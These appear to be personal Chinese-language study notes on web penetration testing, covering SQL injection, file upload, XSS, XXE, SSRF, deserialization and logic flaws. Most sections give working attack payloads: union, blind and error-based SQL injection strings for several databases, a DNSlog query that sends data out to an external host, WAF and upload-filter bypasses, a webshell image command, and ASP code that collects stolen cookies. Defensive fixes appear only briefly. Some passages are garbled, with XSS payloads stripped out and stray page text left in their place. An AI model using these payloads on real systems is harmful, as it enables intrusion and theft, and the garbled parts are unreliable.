1.CSRF(跨站请求伪造)(需要对方是在登录的情况下)--主要用于骗转账等等
原理:A在已经登录了银行的网站,并且此时去访问了B所构造的网页添加了特殊代码,A点击了B,由于A已经登录了,就造成了A直接向
B转账的情况
检测:
可以用bp抓包检测
看看有没有设置Token值
防御:
设置随机Token(数据包的唯一值,用于标识数据包)
设置Referer值,数据包来源(但是这个可以修改伪造Referer值进行绕过)
2.SSRF(服务器请求伪造)--主要用于资产探测,信息搜集等
目标:内网系统
原理:
简而言之,就是攻击者利用外网主机为跳板去访问其内网主机。
比如该站点可以上传文件(必须是远程上传),上传的文件是一个地址,上传这个地址后,服务器会主动访问这个地址,假如我们提
交的文件地址是一个恶意地址,比如服务器上的mysql端口地址,在提交端就会显示出来mysql的版本等等
容易出现漏洞的地方:
分享,转码服务,在线翻译,图片加载和下载,收藏功能,
攻击方式:
以远程上传文件为例:
http协议:http://10.1.3.2:3306 mysql
file协议:file:///D:/phpstudy/www/。。。。。
dict协议
ftp协议
3.目录遍历
就猜就完事,dirsearch,御剑等等
作用:多有点突破点,了解架构
4.文件读取
操作:../上一级目录
作用:可以窃取文件(一些配置文件-有数据库密码账户等等,以及一些后台等等)
问题:需要提前知道文件位置,可以使用路径扫描工具
或者知道CMS网站源码架构,就可以猜测基本文件架构
5.文件下载
需要可以传参的地方,例如:filename=‘a.php’可以修改其地址下载(必须网站源代码中有下载函数功能)
比如../../config.txt等等
下载其配置信息文件,进行下一步的使用。
判断方式:
通过看其函数和传递的参数情况来判断
6.命令/代码执行(RCE):(一般需要白盒才可以发现)
Ⅰ.代码执行:(危害--执行脚本代码)
①脚本:比如写一个php文件,加一个get传过来的值x,函数eval(x),就可以脚本代码执行,比如输入X=phpinfo(),即可执行。
②产生:可控变量(x)和漏洞函数(eval())
因为设计代码时候,加了某些函数,可以由访问者传入的函数,通过构造恶意代码,执行脚本代码。
③检测:白盒黑盒
④防御:
敏感数据禁用:例如php中禁用eval,assert函数,java中禁用exec函数等等
变量过滤或固定:
WAF产品
Ⅱ.命令执行:(危害--执行系统命令(例如cmd命令))
①系统:由于系统不同,linux和windows不同,对应的命令也不同,例如linux中是ls ,windows中是dir/s
②产生:可控变量(x)和漏洞函数(system())
比如写一个php文件,加一个get传过来的值x,函数echo system(x),就可以脚本代码执行,比如输入Xsystem(x),就可以脚本
代码执行,比如输入X=phpinfo(),即可执行。
③检测:白盒黑盒
④防御:类似代码执行的防御方式。
7.XEE安全(xxe-labs)(实战较少)
Ⅰ.概念:
①XML:用于传输和存储数据的文件
②XEE:也叫XML文件外部实体注入漏洞,
③原理:网站接受xml数据提交,但是没有进行过滤
Ⅱ.危害:
①文件读取:最主要的作用
②RCE执行:需要php安装了expect扩展,可以执行命令
③内网探针
④DOS攻击
Ⅲ.检测:
①白盒:
函数及可控变量查找:
传输和存储数据格式类型:
②黑盒:
人工:
数据格式类型判断:
content-type值判断:text/xml application/xml
更改content-type值看返回(盲猜):将原来的content-type值改为application/xml,再加入恶意payload,提交查看回显
工具:
利用bp抓包,发送到spider项目里进行爬行,会在历史请求中看到爬到的网页,看MIME type值中去查看是否有XML
XXEEinjector
Ⅳ.利用:
①输出形式:
有回显:
协议玩法:
http
file
各脚本支持协议
外部引用:
无回显:
外部引用-反向链接配合:相当于提交的payload,让服务器访问本机的地址,查看其对应的log日志文件,看是否有新的记
录,若有记录,就是有漏洞,即可进行接下来的恶意代码等等,若没有记录,则没有
②过滤绕过:
协议玩法:data:// file:// php://filter协议绕过
外部引用:可以通过将具体的命令放到文件中,XXE漏洞payload中加上这个文件的地址即可,可以用于绕过
编码UTF-16BE:对其对应的关键字进行编码,比如system,file等关键字
Ⅴ.修复:
①禁用外部实体引用
②过滤关键字:system,file
③WAF产品
8.sql注入(将sqllab全部拿下,基本就没问题了)⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐
原理:将设计好的参数传送到后端接收数据,发送到数据库,数据库执行语句,结果返回到前端显示
前提准备:
信息收集:数据库类型,数据库用户(登录数据库的用户名和密码),操作系统,数据库版本等等
基本思路:
①明确数据库类型,权限
②m明确提交方法,参数类型等
③明确数据库记录信息系统表
④依次库,表,列,值注入查询
⑤找后台,登录,获取webshell
⑥若是高权限,可以进行,文件读写,命令执行,注册表读取等等
Ⅰ.数据库类型
①mysql:
相关函数:
在mysql5.0版本以上,存在information_schema,是一个存储所有数据库名,表名,列名information_schema.tables or information_schema.columns
database(),version(),user(),@@version_compile_os
group_concat()函数的作用:爆出某一字段下的所有值
文件读取函数:load_file() 例如 id=-1 union select 1,2,load_file('d:/WWW/·12.txt')
文件写入函数:into outfile或into dumpfile 可以利用其来上传webshell,id=-1 union select 1,'
注入例子:
首先,判断注入点:id=1 and 1=1成功 id=1 and 1=2错误表示注入点存在
其次,判断字段数,id=1 order by 1/2/3/4... 知道报错为止
再次,判断数据库名,操作系统等等,id=1 union select 1,version(),user(),database(),5
再次,判断其表名,id=-1 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema='数据库名'
再次,判断其列名,id=-1 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema='数据库名' and 'table_name='表名'
最后,爆出其列名相对应的字段:id=-1 union select 1,group_concat(id),group_concat(password),group_concat(status),5 from 数据库名.表名
②Access
该类型没有数据库大类,直接就是表,列,值-所以没有跨库操作,每一个表都是一个文件
注入例子:
判断注入点:
测试字段数:id=1 order by 1/2/3/4
直接爆表名:(因为该数据库类型没有information_schema表,所以爆表,列只能靠猜)id=1 union select 1,2,3 from admin/user/....
爆列名的值:(只能靠猜)id=1 union select 1,username/usname/....,password/passwd/.... from admin
如果猜不到怎么办:
偏移注入:(用于表名已知,列名猜解不到)
具体操作网上找,一级偏移和二级偏移
③mssql(sql server)
相关函数
判断权限:exists(select is_srvrolemember('sysadmin'))
判断可不可以读写:exists(select is_srvrolemember('db_owner'))
判断数据库版本:@@version
判断当前用户:User_Name()
判断计算机名称:host_name()
注入例子:
判断是不是mssql: id=1 and exist(select count(*) from sysobjects)
查询当前数据库:id=1 union select 1,db_name(),3 --+
查询表名:id=1 union select top 1 1,2,table_name from master.sysobjects where xtype='U'--+
查询列名:id=1 union select 1,name,3 from master.syscolumns where id=(select id from sysobjects where name='users')--+
④mongoDB(CTF中比较多)
是json键值类型数据,所以注入有一些不同
sqlmap不支持,NoSQLAttack支持
注入例子:
爆数据库:id=1'});return ({title:'1',content:'2
爆表:id=1'});return({title:tojson(db),content:'2
爆列名:id=1'});return({title:tojson(db.getCollectionNames()),content:'2
爆字段:id=1'});return({title:tojson(db.Authority_confidential.find()[0]),content:'2
⑤postgresql
相关函数:
读取文件命令:select system("comamnd_string");
写入文件命令:COPY (select '') to '/tmp/1.php';
读取文件命令:select pg_read_file(filepath+filename);
查看用户:SELECT user或SELECT current_user或SELECT session_user或者SELECT usename FROM pg_user
查看当前数据库:SELECT getpgusername()或SELECT current_database()
查看版本信息:SELECT version()
判断当前权限:select CURRENT_SCHEMA()
猜字段数:id=1+order+by+x--
注入例子:
判断postgresql数据库:id=1+and+1::int=1--
爆出所有的表:id=1+and+1=2+union+select+1,null,relname,null,4+from+pg_stat_user_tables+limit+1+offset+0--
爆出列名:id=1+and+1=2+union+select+1,null,oid,null,4+from+pg_class+where+relname='表名'+limit+1+offset+0--爆出字段id=1+and+1=2+union+select+1,null,column_name,null,4+from+information_schema.columns+where+table_name='表名'+limit+1+offset+0--
⑥sqlite(很少用到)
⑦oracle
相关函数:
判断是什么类型数据库and (select count () from dual)>0**
注入例子:
爆数据库:id=-1 union select ‘null’, (select banner from sys.v_$version where rownum=1) from dual
爆表:id=-1 union select ‘null’, TABLE_NAME from USER_TABLES
爆列名:id=-1 union select ‘null’,(select column_name from user_tab_columns where rownum=1 and table_name=‘sns_users’) from dual
爆数据:id=-1 union select user_name,user_pwd from "sns_users"
⑧sybase(很少用到)
Ⅱ.提交方法(都可以根据其提交方法不同进行不同的注入方式)
①GET
②POST
③Cookie
④request:就是post和get都接受
⑤server:用来访问获取操作系统,用户IP,主机名,端口,服务等等
$_server['remote_host'],$_server['remote_addr']等等
⑥可以通过get注入,post注入,cookie注入,还有http请求头(X-Forward-for,User-Agent,等等字段)注入,具体根据其php代码接受的
参数是否拼接到sql查询语句中
Ⅲ.数据类型
①数据型
②字符型
③JOSN型(就是键值对,例如("username":"qiaokai"))--手机APP中使用比较多
可以通过其进行注入,例如json={"username":"qiaokai' and 1=2 union select 1,database(),3"#}(其中#为注释符,还有--+)
Ⅳ.查询方式
①查询select:select * from admin
②插入insert:insert into admin(id,passwd) values(1,'123456')
③删除delete:delete from admin where id=1
④更新update:update set passwd='123123' where id=1
⑤排序order by:select:select * from admin order by id
⑥select,insert,delete,update注入基本思路都一样,只是回显和语法不同而已
Ⅴ.没有回显的情况-盲注
用于没有会显的情况下,得到数据的方式
结合ord=ACSII,length(),subtrac(),mid(),left()等函数去猜测是哪个字符进行注入
①基于布尔的盲注-逻辑判断
利用上面的一些函数,如果正确,就正常显示,若不正确就报错
id=1 and left(version(),2)='5.'
②基于时间的盲注-延时判断
sleep():通过执行时间来判断是否被执行
id=1’ and if ((ascii(substr(database(),0,1))>100),sleep(10),1) --+
benchmark(count,expr):
可测试某些特定操作的执行速度。count指的是执行次数,expr表达式,表示重复计算表达式count次,评估执行表达式的
效率。
③基于报错的盲注-报错回显
floor:()
通过使用count()、floor()、rand()、groupby四个条件形成主键重复的错误floor(a)取整函数,返回小于等于a,且值最接近a
的一个整数floor(x):对参数x向下取整,比如floor(0.2)=0,floor(3.6)=3。rand( ):生成一个0~1之间的随机浮点数,count(*):统计某个表下总共有多少条记录。group by x:按照(by)一定的规则(x)进行分组。
' union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from
information_schema.columns group by a--+
updatexml:updatexml():
函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 新的XML片段 ,然后返回更改的XML。updatexml函数的使用形式为updatexml(XML_document,XPath_string,new_value)XML_document是String格式,为XML文档对象的名称。XPath_string,XPath格式的字符串(如果XPath_string不是XPath格式,则会报错并显示出XPath_string的值) 我们就是通过这个参数让数据库报错,继而得到我们需要的数据。new_value,String格式,替换查找到的符合条件的数据。
select updatexml(1,concat(0x7e,user(),0x7e),1);
extractvalue:extractvalue():
函数与updatexml()函数类似,
select extractvalue(1,concat(0x7e,user(),0x7e));
④基于排序的盲注
Ⅵ.注入拓展
①相关数据库函数:
路径获取常见函数:报错显示,遗留文件,漏洞报错(爆路径漏洞),平台配置文件,爆破等
②跨库:
获得其他数据库名的操作:id=-1 union select 1,group_concat(schema_name) ,2,3,4,5 from information_schema.schemata前提是WWW文件下多个网站,当sql注入获得一个网站的数据库root权限后,可以利用其root权限对其他数据库进行操作,也就是对其他网站的数据库进行操作(利用information_schema中的schemata表记录所有数据库名)
③注释语句:
--+
#
④加解密:
就是普通的对数据进行加解密算法
⑤二次注入:(绕过转义注入('->/'),利用的是插入insert时转义,后来数据库自己调用update时不会转义)
先构造恶意语句注入到数据库中,然后再当其数据库执行语句时,又用到了该插入的恶意语句
比如:注册账号,注册的用户名或者密码插入一些恶意语句,然后修改密码,或者修改用户名,数据库就会用到之前插入的恶
意语句(insert into user (username,pwd) values ('qiao' union select database(),2#','123456') 然后修改密码 update set
pwd='123456' from user where username='qiao' union select database(),2#'),完成二次注入
⑥dnslog带外注入:(也可以使用DnslogSql工具进行注入)
前提:需要注入点是高权限(文件读写)
原理:就是盲注时不回显示,通过特殊构造的语句和知道创宇公司的网站平台联合使用,将不回显的查询结果放到这个网站
中,在正常网页中无法看到注入结果,但在该网站中可以显示结果,也就形成了所谓的带外。
好处:解决了盲注不回显,效率低的问题
例子:id=1 and if ((select load_file(concat('\\\\',(select
version()),'.知道创宇网站中分配的identifier值\\abc')))1,0)--+
⑦中转注入:
原理:将目标地址放到脚本文件中,用sqlmap工具去访问127.0.0.1:8080/这个脚本文件进行注入,可以在该脚本文件中加入一
些加密解密,拼接的操作,从而达到一个中转的目的。
⑧堆叠查询:
原理:多条语句同时注入,同时执行,也就是所谓的堆叠
例子:在数据库中:
select * from admin;select * from user;可以一条命令行,同时执行
在实际注入中:
id=1';select *from admin--+
⑨IP白名单:
可以尝试使用修改数据包头来改地址,X-Forward-For,X-remote-IP/addr等等
⑩静态资源绕过方式:(主要是文件类型不同)
可以在其地址后加一个其他路径文件来注入,可以进行绕过
例子:
要对127.0.0.1:8080/index.php?id=1进行注入,可以对其127.0.0.1:8080/index.php/123.txt?id=1进行注入,WAF可能进行放行
11.url白名单:(主要是php/asp文件不同)
可以在其地址后加一个其他路径文件来注入,可以进行绕过
例子:
要对127.0.0.1:8080/index.php?id=1进行注入,可以对其127.0.0.1:8080/index.php/123.php?id=1进行注入,如果添加了该路
径的白名单,则WAF会进行放行
12.爬虫白名单:
WAF通过识别User-Agent来进行检测是否是爬虫,若被检测,会被短暂封禁IP
可以通过伪造其User-Agent来伪装成正常的搜索引擎访问,从而不被拦截
Ⅶ.防御方案及其对应的WAF绕过
①魔术引导:
magic_quotes_gpc.php文件功能打开或者使用:会对四种符号’ “ / \ 进行转义
绕过方式:
编码:16进制
宽字节:
②内置函数:
addslashes函数(过滤‘ ” / \)
is_int()/char()/integer()/long()函数(用来判断是否是对应类型的数据)
目前无法绕过
③关键字过滤:
函数str_replace('关键字 select/union/放个字典等等''想要替换成的字符',$id);
绕过方式:
利用大小写绕过:SeLeCt
④WAF防护软件及其对应的绕过:
安全狗:
宝塔
阿里云盾
Ⅸ.一些其他的绕过方式(一般都得多种绕过方法组合起来使用才有可能实现绕过)
①更改提交方法
有的情况下设置WAF只有对GET提交的数据进行检测,此时就可以通过改成POST提交就可以绕过
②大小写混合
SeLeCt UnIoN
③解密编码类
%0a-换行符 %20-空格 %23-#
④注释符混用
不一定非要放在句末,也可以放在句中
database/**/()--+
⑤等价函数替代
⑥特殊符号混用
⑦借助数据库特性
mysql:
利用注释符时: /*select *from user*/ 该语句执行为空语句, 但/*!select *from user*/ 加个叹号即可正常执行
特殊注释符:/*!50001 select *from admin*/该语句的意思是如果数据库的版本在5.00.01以上,则会执行以上语句
⑧HTTP参数污染
原理:若是php+apache 传递的多个参数取last 假设x=1&x=3 传递到后端就是x=3
若是jsp+tomcat 传递的多个参数取first假设x=1&x=3 传递到后端就是x=1
若是cgi+apache 传递的多个参数取first以此类推
若是python+apache 传递的多个参数取all以此类推
若是asp+iis 传递的多个参数取all以此类推
例子:
id=1/*&id=-1 union select 1,database(),3 #*/ 传给waf,waf匹配到的只有id=1,传给后端数据库因为参数污染,得到的是
id=-1 union select 1,database(),3 #*/ -> id=-1 union select 1,database(),3
⑨垃圾数据溢出
⑩重写
11.Fuzz大法(模糊测试)
也可以理解成为暴力测试
例子:
id=1 union%23 select 1,2,3 用bp抓包,用字典去大量修改%23,%24,%25等等,一次次的暴力测试。
Ⅹ.相关工具
①sqlmap(sql注入神器)
有一个temper脚本库(插件库):
特别好用,可以进行适当的修改来进行自己的操作
利用其代理:
--proxy指向本地,利用bp抓包,查看是哪里的错
WAF会对工具进行拦截:
用这个对其绕过--random-agent
还有流量拦截:
可以在其脚本文件中修改User-Agent头参数,修改成其他引擎参数
也可以用命令--user-agent来修改
还有延时注入:
防止请求过于频繁,被封禁IP,命令--delay等
多学习,学透sqlmap
②NoSQLAttack
③DnslogSql
9.文件上传(获得shell权限)
把upload-labs通关即可(github上有)
思路:
先找上传点->看看有没有解析漏洞iis那些->利用黑明白白名单绕过尝试->还不行,就找有没有CMS,CVE的文件上传漏洞。
Ⅰ.基本介绍
①原理:上传webshell后门,用工具连接
②危害:高危,直接获取到权限
③如何查找和判断:可以提交上传文件的地方
④需要注意的地方:上传成功之后有一个十分重要的点,必须得知道其后门路径
不知道路径的情况下:可以通过其CMS框架结构,来判断猜测上传的文件路径在哪里
若知道了CMS,可以利用其CMS框架漏洞来尝试
Ⅱ.前端验证:抓包修改文件名即可。
后端:
黑名单:asp,php,jsp,aspx,cgi,war等文件类型不让上传
绕过方式:因为apache可以php解析后缀为php3,php5,phtml类型的文件
还可以修改http头content-type字段的值
白名单:jpg,png,zip,rar,gif等文件类型让上传
其他类型绕过:(一般都需要诸多绕过方式联合起来使用)
文件解析漏洞:
.htaccess文件(只有apache可以用)
大小写绕过:
.pHp文件后缀
空格绕过:
.php空格(原因是没有进行收尾去空格,在后端检测时候,会检测成为.php空格,但黑名单中没有,就会放行,进入windows
后,windows会默认把空格去掉,就变成为.php文件。利用了系统的特性,但linux不会默认去除空格,所以在linux中无法
利用这种方法)
点绕过:
.php.(原因是没有进行去点检测,在后端检测时候,会检测成为.php.,但黑名单中没有,就会放行,进入windows后,windows
会默认把.去掉,就变成为.php文件。利用了系统的特性)
重写绕过:
.phphpp,系统后端过滤一次(代码写的时候不是循环,只过滤一次)就成了.php
::$DATA绕过:
%00截断=空格:(地址方面)
抓包修改路径提交保存的路径为:./upload/3.php%00,get(不需要对%00编码,原因是get提交方式会自动解码)或者post(需
要对%00编码,post提交方式不会自动解码)方式提交,后端得到的是3.php%00,还会在其后随机加上文件名和提交文件的
后缀,比如最后的结果是3.php%001321231.jpg,放到windows下,3.php 1321231.jpg直接默认变成3.php
0x00截断(文件命名方面)0x0a截断都是类型,只是代表的字符不同。
图片马生成命令:
copy 1.jpg /b +shell.php /a webshell.jpg
二次渲染:
是指两次上传,先选择文件,还需要点保存,比如学习通上传文件,普通的就一次,选择好照片就上传了。
但会有两种情况,一种是先上传上去,再验证是否删除
另一种是先验证,再上传。
第一种可以利用条件竞争,DDOS上传法,一直上传,一直访问,会出现,一直连接,一旦成功,文件会被占用,也就无法被
删除。第二种则没办法。
仿制文件夹方式:(适用于黑名单)
提交文件名为:123.php/.
数组绕过:(很难猜到,黑盒几乎破解不了)需要代码中有数组验证。
Fuzz大法(模糊测试):
GitHub上有字典,下载下来,用bp跑,一直爆破,看怎么可以绕过。
Ⅲ.漏洞/修复
①解析漏洞
在nighx下,可以用:
例子:www/123.jpg是上传的图片马,将地址改为www/123.jpg/123.php即可以执行php代码,若上传的文件名被修改,可以结合
爆破工具来尝试找
在IIS6.0下:(上传的jpg格式的文件以前者格式解析)
有文件夹绕过:这样命名123.php/123.jpg
文件绕过:这样命名123.php;123.jpg
在apache低版本中:
有未知后缀名解析漏洞,例如123.php是以php格式解析,但123.php.xxx也是以php解析,就是比如后面的后缀名不能解析
,就往前解析。
②CMS漏洞
例如:通达OA系统的文件上传漏洞
也是明白了系统版本,框架版本,网上找漏洞。
③其他漏洞
各种web编辑器的漏洞:(编辑器-是指传过来的文件,音频等进行编辑解码等等操作--最常见的就是学习通里交作业那个也是编
辑器)使用前提得知道编辑器的版本,和路径
fckeditor编辑器:知道版本号,直接利用网上的漏洞即可。
ueditor编辑器,ckeditrot编辑器,kindeditor编辑器等等
Ⅳ.WAF绕过
①safedog
数据溢出:比如-原来是abc.php,在字段中;;之间加垃圾数据;
例子:在content-disposition字段中;from-data;abcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlk
zxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzx
cnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcn
zabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnza
bcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnz;name="upload",filename="a.php"
符号变异:比如正常数据包传输中:filename="123.php",可以修改成filename="123.php 或filename="123.php;实现绕过
数据截断:和上面差不多
重复数据:
例如:filename='1.jpg';filename='2.jpg';filename='3.jpg';filename='4.jpg';filename='5.jpg';filename='6.jpg';file
name='7.jpg';filename='8.jpg';filename='9.jpg';filename='1.php'
②宝塔
③云盾
10.XSS(github上有一个XSSlabs闯关游戏)--主要用于盗取cookie,用户保存的账号密码等等
Ⅰ.原理:
传参,get方式 x=还有post只是提交方式不同
有时候前端会有字数拦截,可以抓包修改
只要提交数据,前端有回显即可尝试XSS
主要可能触发的地方:留言板,评论区,站内搜索等等--主要是简单的反射型;若你提交的XSS语句,会有人点击查看触发,那就形
成了交互,这个危害就大了--可以利用beef等来进行控制
Ⅱ.分类:
①反射型:
发送的参数,发送到后端代码(后端的php),后端代码执行回应,单次的交互
②存储型:
存储在后端数据库某个表里,会多次交互,每次刷新都会弹窗
③DOM型:
发送的参数,在浏览器里代码(前端的js)解析,并且回应
Ⅲ.手法:
①XSS平台使用:利用相关平台,用来接收其他人点击所触发xss后传输的数据
xss platform
②XSS工具:
beef(XSS神器)
xsstrike
Ⅳ.绕过:
①代码绕过:
②http only:(仅仅阻止获取cookie)
在php.ini文件中的session.cookie_httponly=1/TRUE,(也可以在php代码中进行设置)设置了这个选项,获得到的cookie值为空
绕过方式:在phpinfo页面中会显示,想办法让对方访问这个页面,通过XSS平台来获取源码,盗取到session;
若登录者有习惯在网页上进行保存密码,可以利用XSS平台的获取保存的密码进行获取账号密码;
若登录者在网页上没有进行保存密码,需要XSS产生在登录框界面,利用表单劫持。
③WAF绕过:
<>实体化绕过:
<变成<,>变成>;,可以利用 结合大小写,重写,编码绕过 标签语法替换: 例如: 特殊符号干扰: 例如:# @ --+ / !等等 提交方式更改: get换post,put等等 垃圾数据溢出: /asdadnkzc!dlknasdlczx....... 加密解密算法: 加解密 XSS结合其他漏洞 Ⅴ.修复:(安全修复方案) 开启http-only,进行输入检测,输出检测等 Ⅵ.危害: 比如,QQ空间里说说有XSS漏洞,我写一篇XSS代码(盗取cookie)发说说,然后诱使别人来点击我的说说,访问我的说 说的人的cookie就会发送到我这里。 若是反射型,可以盗取cookie,然后利用其cookie来绕过登录 Ⅶ.相关命令: ①窃取token AAA
②http(s)∶创建一个链接 Session expired. Please login again.
③加载相对 url 脚本
④获取cookie:只能用于不限制弹窗的情况:
接受cookie的页面代码:
<%
testfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中
msg = Request("msg") //获取提交过来的msg变量,也就是cookie值
set fs = server.CreateObject("scripting.filesystemobject")创建一个fs对象
set thisfile = fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie
thisfile.close //关闭
set fs = nothing
%>
Ⅷ.其他知识:
cookie:存在本地,存活时间较长,一般是小中型网站,比如登录上网站,一般不退出就不需要重新登录
session:会话,存在服务器,存活时间较短,就比如登录上网站,过个几分钟就需要重新登录(更加安全) (常见的是会话劫持)
若网站采取session验证:则需要cookie和session同时提交登录--目前大多数都是session验证
webshell箱子:
就是自己写一个马,让别人去攻击,结果传到自己这里,他们攻击成功的数据就返回到了自己这里;还可以利用其webshell箱
子进行跨站漏洞,获取cookie,然后利用postman进行登录,它的webshell箱子就是自己的了。
判断网上下载的木马有没有木马,通过本地执行,看有没有发送到其他地址的包。
XSSLABS:
前端闭合
鼠标点击'οnclick='javascript:alert(1)'---htmlspecialchars函数对<>进行实体化
"οnmοuseοver="alert(123)
大小写绕过
重写绕过
转码:c->c
<---%3c >---%3d
11.文件包含-将文件以脚本执行
原理:例如有一个123.php文件中声明了包含include(123.txt),txt文件中写的是phpinfo(),直接访问123.php?x=123.txt,txt文件中的ph
pinfo函数会以php格式去解析。
Ⅰ.脚本:asp,aspx,php,jsp等等
Ⅱ.检测:黑盒:
白盒:
Ⅲ.类型:
分为有限制和无限制:
无限制是对包含的文件没有限制;
有限制就是对包含的文件有检测:可以通过00截断,或者可以使用./././././././././././../././././././././././././......超
过256位进行垃圾数据溢出绕过,或者是...............绕过也可以 00截断需要php版本在5.3.0以下
本地包含:比如:http://192.168.1.3/123.php?x=123.txt
远程包含:比如http://192.168.1.3/123.php?x=http://192.168.66.1/123.txt
Ⅳ.利用:
各种伪协议的结合使用
Ⅴ.修复:固定后缀,固定文件,WAF产品。
12.反序列化
PHP:(==验证值,===验证值和类型)
Ⅰ.原理:序列化就是将对象转换成字符串,反序列化就反过来,没有对反序列化的字符串进行检测,提交的字符串触发了其他的魔术
方法。
O/i:对象长度:“对象名称”:对象个数:{变量类型(s/i):变量名长度:“变量名”;值类型(s/i):值长度:“值”;。。。。。。}
函数-unserialize将字符串转换成对象
Ⅱ.技术:
①有类-触发魔术方法:看看有没有class,
魔术方法:__construct():在new一个对象的时候首先调用的函数,一般用于初始化。
__destruct():一个对象被销毁的是时候自动调用。
__get($p):访问的属性不存在或者权限不允许(protected和private)时调用,其中$p为值。
__set($p1,$p2):访问的属性不存在或者权限不允许(protected和private)时调用,其中$p1为参数,$p2为值。例如:$obj->
p1 = 'p2';
__call($p1,$p2):与__set()和__get()类似,当访问的函数不存在或者权限不允许(protected和private)时调用,其中$p1
为函数名,$p2为参数名。例如:$obj->p1("p2") ;
__invoke():当对象被当作函数时会调用。例如$obj();
__toString():当对象被echo等当成string时会调用。例如echo $obj;
__sleep():当使用序列化函数serialize()之前调用。
__wakeup():当使用反序列化函数unserialize()之前调用
②无类:例s:5:"qiao1",s是字符,i是数值
Ⅲ.利用:
①真实应用o::"abc":1:{s:2:"op":" 2"}
②CTF
Ⅳ.危害:
①sql注入
②代码执行
③目录遍历
JAVA:(工具生成payload--ysoserial工具)
Ⅰ.概念:原理与php序列化类似,只是序列化的函数不同,Java中的序列化函数是ObjectOutputStream类的wirteObject()函数,反序列化
就是ObjectInputStream类的readObject()函数 与php反序列化不同的是,php主要是因为魔术方法,而Java反序列化主要是因
为在传送过来的恶意数据没有进行检测,然后进行反序列化解密执行达到了执行恶意命令的情况。
若看到是以rO0AB开头的字符串,就是序列化后并进行base64加密的序列化字符串。
若看到是以aced开头的字符串,就是序列化后的16进制的序列化字符串。
Ⅱ.利用:
①payload生成器:
②自动检测工具或脚本:
Ⅲ.检测:
①黑盒:主要根据响应包中查看是否有对应格式的数据
②白盒:代码审计
Ⅳ.修复
13.逻辑安全(src漏洞中比较多)
Ⅰ.越权(不同于未授权访问)
①水平越权:是指用户A越权到用户B(同级的)
②垂直越权:是指普通用户越权到管理员等等(不同级的)--(更加重要,可以利用垂直越权,来提升权限,从而拿下web网站)
Ⅱ.登录:
①暴力破解:若传输的数据被加密了,若知道了其加密方式,可以利用爆破,加密后的密码本,或者bp里的payload加密功能
②本地加密传输
③cookie脆弱:通过修改返回包中的cookie值(一般只是白盒代码审计发现才有用)
④session劫持
⑤密文对比认证
⑥修改参数值:比如id参数,密码参数,返回结果0还是1,购买平台修改购买物品信息,数量,支付成功与否和支付价格,订单编号
等等
Ⅲ.工具:小米范,bp自带的有
Ⅳ.修复方案:
①前后端同时验证
②检查对方是否有相应的权限
③加密传输数据
④严格过滤和审查
⑤token,session验证:token主要是用于防止重放攻击的,session和cookie类似,只是前者在服务端,后者在客户端存储,token和ses
sion都存放在cookie中
Ⅴ.验证码破解:
①暴力破解:bp抓取爆破就行
②自动识别:fuzz工具,bp自带的插件有
③有没有验证码复用问题:同一标识的数据包可以提交多次
Ⅵ.找回
①客户端回显:点击得验证码,在抓相应包中会显示验证码。
②Response状态值:更改回应包,修改回应值(只有在前端验证结果情况下才可以)--单纯欺骗前端检测。
③session覆盖
④弱token缺陷:有时候提交一个假的token,会在响应包中显示真实的token
⑤找回流程绕过
Ⅶ.接口
①调用遍历
②参数篡改
③未授权访问
④webservice测试
⑤calback自定义